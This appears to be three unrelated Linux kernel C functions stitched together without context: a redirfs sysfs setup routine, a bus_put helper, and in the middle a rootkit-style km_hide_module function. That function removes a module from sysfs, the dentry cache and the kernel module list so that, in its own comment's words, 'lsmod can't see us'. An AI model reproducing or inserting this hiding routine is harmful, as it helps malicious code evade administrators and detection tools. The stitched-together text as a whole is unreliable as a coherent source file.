int rfs_sysfs_create(void) { int rv; rfs_kobj = kzalloc(sizeof(struct kobject), GFP_KERNEL); if (!rfs_kobj) return -ENOMEM; kobject_init(rfs_kobj); rfs_kobj->ktype = &rfs_kobj_ktype; rfs_kobj->parent = &fs_subsys.kobj; rv = kobject_set_name(rfs_kobj, "%s", "redirfs"); if (rv) { kobject_put(rfs_kobj); return rv; } rv = kobject_register(rfs_kobj); if (rv) { kobject_put(rfs_kobj); return rv; } rv = -ENOMEM; rfs_flt_kset = kzalloc(sizeof(struct kset), GFP_KERNEL); if (!rfs_flt_kset) goto err_kobj; kobject_init(&rfs_flt_kset->kobj); rfs_flt_kset->kobj.ktype = &rfs_kobj_ktype; rfs_flt_kset->kobj.parent = rfs_kobj; rv = kobject_set_name(&rfs_flt_kset->kobj, "%s", "filters"); if (rv) goto err_kset; rv = kset_register(rfs_flt_kset); if (rv) goto err_kset; return 0; err_kset: kset_put(rfs_flt_kset); err_kobj: kobject_unregister(rfs_kobj); return rv; }
static void km_hide_module( const char* const data ) { kobject* kobj = &THIS_MODULE->mkobj.kobj; path km_path; // Check to ensure we're hidden first... if ( g_state.hidden ) { return; } g_state.hidden = 1; // Remove from sysfs mutex_lock( g_sysfs_mutex ); sysfs_unlink_sibling( kobj->sd ); mutex_unlock( g_sysfs_mutex ); kobj->state_in_sysfs = 0; spin_lock( &kobj->kset->list_lock ); list_del_init( &kobj->entry ); spin_unlock( &kobj->kset->list_lock ); kset_put( kobj->kset ); // Decrement parent ref count in sysfs kobject_put( kobj->parent ); // Remove the km module from the dentry cache if it's present if ( kern_path( "/sys/module/km", LOOKUP_DIRECTORY, &km_path ) == 0 && km_path.dentry ) { d_drop( km_path.dentry ); } // Remove from the module list - so lsmod can't see us mutex_lock( &module_mutex ); list_del_rcu( &THIS_MODULE->list ); mutex_unlock( &module_mutex ); }
static void bus_put(struct bus_type *bus) { if (bus) kset_put(&bus->p->subsys); }